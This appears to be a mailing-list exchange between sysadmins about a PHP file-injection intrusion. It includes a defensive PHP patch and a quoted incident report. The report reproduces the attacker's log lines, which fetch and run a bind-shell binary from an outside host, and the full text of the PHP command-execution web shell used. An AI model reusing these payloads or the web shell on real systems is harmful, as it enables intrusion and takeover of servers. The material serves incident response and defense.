Re: Hack attempt

Hi Norbert,

I dealt with the exact same intrusion technique on one of the webservers 
here two weeks ago. They managed to get in and launch a perl based IRC 
bot which was essentially a remote shell. This raised the CPU, which 
shows up in our server monitering software, and I managed to detect and 
stop it before they got root. I had the temp directories set to 
non-executable, and had some firewall settings so they needed to use a 
script interpreted callback technique to really get access. (binary 
executables wouldn't work with the nonexec temp directories).

It was also a file injection. After awhile trying to figure out how they 
were getting in (120+ websites on the machine), I found where they were 
attacking, and patched the file with:

<?php
if(!$bodyfile){
        $bodyfile = "default"; // change to default body file.
}
else {
        $ret = strstr($bodyfile, "://");
        if($ret == true) {
                echo "Send your message telling them to go away here :)";
                $message = print_r($_SERVER, true);
                mail("[email protected]", "Exploit attempt detected", 
$message);
                exit();
        }
}
?>

An attacker can inject files via php's https:// ftp:// http:// streams. 
This detection stops the attack, prints them a message, and dump all the 
server variables in an email.

They were more annoying then anything, so I thought it would be fun to 
send them a little message upon attack.

It is quite possible to have it execute a suid program to modified your 
IP tables to automatically ban further connections from their address. 
Its just a neat way to express your annoyance, while gaining some 
information on the attacker.

The attackers I dealt with were looking to deface the websites, and I 
managed to track them down (on the web and irc) to a defacement group 
out of Brazil, including some home DSL ips, which probably were their 
real addresses.

Norbert Crettol wrote:

>Hi all.
>
>This is my first post here. I'm Norbert Crettol, one of the sysadmins
>of Idiap, a research center in Switzerland (www.idiap.ch).
>
>We've had a undesired visitor, last night, that I discovered in the 
>reports of tripwire.
>
>Here are the logs we got (we get a remote copy of the web server logs
>in another host). As of the second line, I've stripped the head and 
>the tail of the line which is allways the same.
>--- begin ---
>"GET /<some script>.php?bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=id HTTP/1.0" 200 6625 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=uname%20-a
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=wget
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=/sbin/ifconfig%20-a 
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=cd%20/var/;ls%20-la
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=cd%20/var/lock/;ls%20-la
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=cd%20/var/lock/;wget%20bosscalvin.com/bind2080
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=cd%20/var/lock/;chmod%20755%20bind2080
>bodyfile=http://www.bosscalvin.com/inject.txt?&cmd=cd%20/var/lock/;./bind2080
>--- end ---
>I've seen no other
>
>It looks like bind8080 has created a directory /var/lock/.tmp 
>and expanded an (owned by the web server owner) archive there. Here
>is the list of the files :
>      3225 jui 20 03:53 c-leet
>        15 jui 20 03:47 c-leet.dir
>        51 jui 20 03:47 cron.d
>       512 mai 12  2002 doc/
>        14 jui 21 16:27 eggdrop -> eggdrop-1.6.10*
>   2523568 mai 12  2002 eggdrop-1.6.10*
>       512 mai 12  2002 filesys/
>       343 fév 11 03:55 fuck*
>       512 mai 12  2002 help/
>     21149 nov  4  2003 kik*
>      1024 jui 21 11:00 language/
>       512 mai 12  2002 logs/
>         6 jui 20 03:48 pid.CaEm-
>     23065 jan 29 15:00 proc*
>         6 jui 20 03:48 psybnc.pid
>     28591 mai 12  2002 README
>        89 jui 20 03:53 run*
>       588 avr  1 10:00 run-*
>       708 avr  1 10:00 run--*
>       512 mar 31 08:12 scripts/
>       512 mai 12  2002 text/
>   2523568 mar 28 01:41 vi*
>     30293 nov 17  2002 xhide*
>       182 jui 20 03:47 y2kupdate*
>
>Here is the content of http://www.bosscalvin.com/inject.txt :
>--- begin ---
><font color="red">
><br><font face="Comic Sans MS" size="2"><center>
><b>CMD</b> - System Command<br><br></center></font><font face="Verdana" size="1"></center><br>
><b>#</b> CMD PHP : <br>
><b>#</b> Released by : <b>SecurityCorp</b><br>
><b>#</b> Edited by CaEm
><br>
><br>
><hr color="red" width=751px height=115px>
><br>
><pre><font face="Verdana" size="1">
><?
>  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
>  if (isset($chdir)) @chdir($chdir);
>  ob_start();
>  system("$cmd 1> /tmp/nobody 2>&1; cat /tmp/nobody; rm -rf /tmp/nobody");
>  $output = ob_get_contents();
>  ob_end_clean();
>  if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output));
>?>
></font></pre>
><br>
><hr color="red" width=751px height=115px>
><br>
><font face="Comic Sans MS" size="1"><b>« CaEm » </b><br><b>@ </b><b> îrç.Ðå£.ñët <i>#Renjana</i></b><br>
>--- end ---
>
>Has someone seen this kind of attack ? (chkrootkit doesn't detect it).
>Has someone heard of this www.bosscalvin.com (or www.calvinmumu.org) ?
>Is there a way to stop this guy ? His nickname (CaEm) appears in the 
>the uploaded scripts.
>
>Norbert
>
>
>  
>